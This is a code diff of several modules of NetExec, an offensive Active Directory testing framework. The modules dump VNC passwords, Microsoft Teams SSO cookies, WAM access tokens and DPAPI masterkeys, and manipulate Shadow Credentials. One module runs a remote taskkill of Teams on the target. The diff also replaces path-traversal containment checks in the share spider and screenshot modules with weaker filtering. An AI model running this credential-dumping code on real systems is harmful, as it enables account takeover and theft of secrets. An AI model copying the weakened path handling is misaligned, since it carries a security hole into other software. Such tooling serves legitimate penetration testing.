||||
try:
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
|
||||
|
||||
def backup(self, raw_values):
|
||||
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
|
||||
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
|
||||
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
|
||||
|
||||
def revert(self, target_dn):
|
||||
try:
|
||||
key_credentials = []
|
||||
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
|
||||
if not isinstance(key_credential, (dict, str)):
|
||||
raise ValueError("keyCredentials entries must be objects or strings")
|
||||
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
|
||||
return
|
||||
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
|
||||
@@ -1,9 +1,8 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from pathlib import Path
|
||||
from pathlib import PurePosixPath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -86,10 +85,11 @@ class NXCModule:
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
|
||||
if Path(user_output_dir).resolve() not in local_file_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
|
||||
continue
|
||||
# replace \\ with underscores and ignore absolute path or path traversal attempts
|
||||
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
|
||||
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
|
||||
context.log.debug(f"{local_file_path=}")
|
||||
|
||||
try:
|
||||
|
||||
+14
-19
@@ -2,10 +2,9 @@ import json
|
||||
import errno
|
||||
from os.path import abspath, join, exists, splitext, getsize
|
||||
from os import makedirs, remove, stat
|
||||
from pathlib import Path
|
||||
from pathlib import Path, PurePosixPath
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
@@ -128,8 +127,6 @@ class SMBSpiderPlus:
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
|
||||
elif "STATUS_NO_SUCH_FILE" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} is empty.")
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
except NetBIOSTimeout as e:
|
||||
@@ -173,13 +170,13 @@ class SMBSpiderPlus:
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
Sanitizes each local path component and verifies containment in the output folder.
|
||||
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
|
||||
"""
|
||||
self.logger.debug(f"Remote file: {remote_file}")
|
||||
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
|
||||
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
|
||||
if Path(self.output_folder).resolve() not in resolved.parents:
|
||||
raise ValueError(f"Path traversal detected in {remote_file!s}")
|
||||
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
|
||||
self.logger.debug(f"Raw path: {remote_file}")
|
||||
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
|
||||
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
|
||||
self.logger.debug(f"Resolved path: {resolved}")
|
||||
return str(resolved.parent), resolved.name
|
||||
|
||||
@@ -309,12 +306,7 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
try:
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
except ValueError as e:
|
||||
self.logger.fail(str(e))
|
||||
self.stats["num_get_fail"] += 1
|
||||
return
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if exists(download_path):
|
||||
@@ -330,7 +322,7 @@ class SMBSpiderPlus:
|
||||
try:
|
||||
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
|
||||
remote_file.open_file()
|
||||
self.save_file(remote_file, share_name, download_path)
|
||||
self.save_file(remote_file, share_name)
|
||||
remote_file.close()
|
||||
download_success = True
|
||||
except SessionError as e:
|
||||
@@ -347,7 +339,7 @@ class SMBSpiderPlus:
|
||||
else:
|
||||
self.stats["num_get_fail"] += 1
|
||||
|
||||
def save_file(self, remote_file, share_name, download_path):
|
||||
def save_file(self, remote_file, share_name):
|
||||
"""Reads the `remote_file` in chunks using the `read_chunk` method.
|
||||
|
||||
Each chunk is then written to the local file until the entire file is saved.
|
||||
@@ -356,9 +348,12 @@ class SMBSpiderPlus:
|
||||
# Reset the remote_file to point to the beginning of the file.
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
|
||||
make_dirs(Path(download_path).parent)
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
make_dirs(folder)
|
||||
|
||||
try:
|
||||
with open(download_path, "wb") as fd:
|
||||
|
||||
@@ -6,18 +6,16 @@ from os.path import abspath, join
|
||||
|
||||
class NXCModule:
|
||||
name = "teams_localdb"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
|
||||
self.kill = module_options.get("KILL", "false").lower() == "true"
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.kill:
|
||||
context.log.display("Killing all Teams processes to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
context.log.display("Killing all Teams process to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
found = 0
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
|
||||
@@ -35,8 +33,6 @@ class NXCModule:
|
||||
context.log.debug(str(e))
|
||||
context.log.highlight("Found Cookie file in path " + path)
|
||||
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
|
||||
if not self.kill:
|
||||
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
|
||||
if found == 0:
|
||||
context.log.display("No cookie file found in Users folder")
|
||||
|
||||
|
||||
@@ -97,7 +97,7 @@ class NXCModule:
|
||||
if ready:
|
||||
reply = sock.recvfrom(120)[0]
|
||||
|
||||
# Extract RID, hash and "salt" if successful.
|
||||
# Extract RID, hash and "salt" if succesful.
|
||||
if len(reply) == 68:
|
||||
salt = reply[:48]
|
||||
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
|
||||
|
||||
@@ -1,134 +0,0 @@
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
|
||||
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by Fabrizzio: @Fabrizzio53"""
|
||||
|
||||
name = "tombstone"
|
||||
description = "Query, restore and delete AD objects"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Specify the action to execute: query, restore or delete. Default is query.
|
||||
ID The id of which object you want to restore.
|
||||
DN The DN of which object you want to delete.
|
||||
|
||||
Usage:
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "query").lower()
|
||||
self.id = module_options.get("ID", "")
|
||||
self.delete_dn = module_options.get("DN", "")
|
||||
if self.action == "restore" and not self.id:
|
||||
context.log.fail("ID is necessary when calling tombstone with the restore action")
|
||||
return False
|
||||
|
||||
if self.action == "delete" and not self.delete_dn:
|
||||
context.log.fail("DN is necessary when calling tombstone with the delete action")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.action == "query":
|
||||
self.query_deleted_objects(context, connection)
|
||||
elif self.action == "delete":
|
||||
self.delete_object(context, connection)
|
||||
elif self.action == "restore":
|
||||
self.restore_deleted_object(context, connection)
|
||||
else:
|
||||
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
|
||||
|
||||
def show_deleted_control(self):
|
||||
return Control().setComponents("1.2.840.113556.1.4.417", True)
|
||||
|
||||
def search_deleted_objects(self, connection):
|
||||
return parse_result_attributes(
|
||||
connection.search(
|
||||
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
|
||||
searchFilter="(isDeleted=TRUE)",
|
||||
attributes=[],
|
||||
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
|
||||
)
|
||||
)
|
||||
|
||||
def restore_deleted_object(self, context, connection):
|
||||
object_dn = ""
|
||||
original_dn = ""
|
||||
|
||||
context.log.highlight(f"Trying to find object with given id {self.id}")
|
||||
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in self.search_deleted_objects(connection):
|
||||
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
|
||||
continue
|
||||
|
||||
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
object_dn = entries.get("distinguishedName", "")
|
||||
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
|
||||
break
|
||||
|
||||
if not original_dn:
|
||||
context.log.fail(f"The object was not found with id {self.id}.")
|
||||
return False
|
||||
|
||||
try:
|
||||
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
|
||||
context.log.highlight(f"Success {original_dn} restored")
|
||||
except LDAPSessionError as e:
|
||||
context.log.fail(f"Error at trying to recover the object {e}")
|
||||
return False
|
||||
|
||||
def delete_object(self, context, connection):
|
||||
context.log.highlight(f"Trying to delete {self.delete_dn}")
|
||||
|
||||
try:
|
||||
connection.ldap_connection.delete(dn=self.delete_dn)
|
||||
context.log.highlight("")
|
||||
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
|
||||
except LDAPSessionError as e:
|
||||
context.log.highlight("")
|
||||
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
|
||||
|
||||
def query_deleted_objects(self, context, connection):
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
resp_parsed = self.search_deleted_objects(connection)
|
||||
|
||||
if not resp_parsed:
|
||||
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
|
||||
return False
|
||||
|
||||
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
|
||||
if not resp_parsed:
|
||||
context.log.highlight("No objects are in a tombstone state")
|
||||
return False
|
||||
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in resp_parsed:
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
|
||||
@@ -3,7 +3,6 @@ from datetime import datetime
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -92,7 +91,7 @@ class NXCModule:
|
||||
|
||||
def create_log_file(self, host, time):
|
||||
"""Create a log file for dumping user descriptions."""
|
||||
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
|
||||
logfile = f"UserDesc-{host}-{time}.log"
|
||||
logfile = Path(NXC_PATH).joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
|
||||
+102
-41
@@ -1,14 +1,18 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket import winregistry
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -19,7 +23,7 @@ class NXCModule:
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -45,40 +49,79 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
|
||||
self.share = self.connection.args.share
|
||||
|
||||
dploot_conn = connection.dpapi_triage.conn
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
self.vnc_from_registry(dploot_conn)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn)
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn):
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(dploot_conn)
|
||||
if dploot_conn.target.protocol != "smb":
|
||||
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
|
||||
users = self.get_users(remote_ops)
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None:
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
|
||||
if password is None:
|
||||
continue
|
||||
password = password.encode().rstrip(b"\x00").decode()
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
|
||||
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
@@ -96,9 +139,9 @@ class NXCModule:
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def vnc_from_registry(self, dpapi_conn):
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
@@ -109,12 +152,10 @@ class NXCModule:
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
@@ -122,7 +163,7 @@ class NXCModule:
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
@@ -130,10 +171,7 @@ class NXCModule:
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
|
||||
if value is None:
|
||||
continue
|
||||
value = value.encode().rstrip(b"\x00").decode()
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
@@ -143,13 +181,13 @@ class NXCModule:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
|
||||
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
@@ -192,8 +230,8 @@ class NXCModule:
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, filepath in vncs:
|
||||
file_content = dploot_conn.read_file(share=self.share, path=filepath)
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
@@ -201,16 +239,39 @@ class NXCModule:
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
for sid in conn.reg_enum_key("HKLM", userlist_key):
|
||||
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
|
||||
if "C:\\Users" not in profile_path:
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
return users
|
||||
+34
-12
@@ -1,45 +1,67 @@
|
||||
import re
|
||||
import json
|
||||
from base64 import urlsafe_b64decode
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
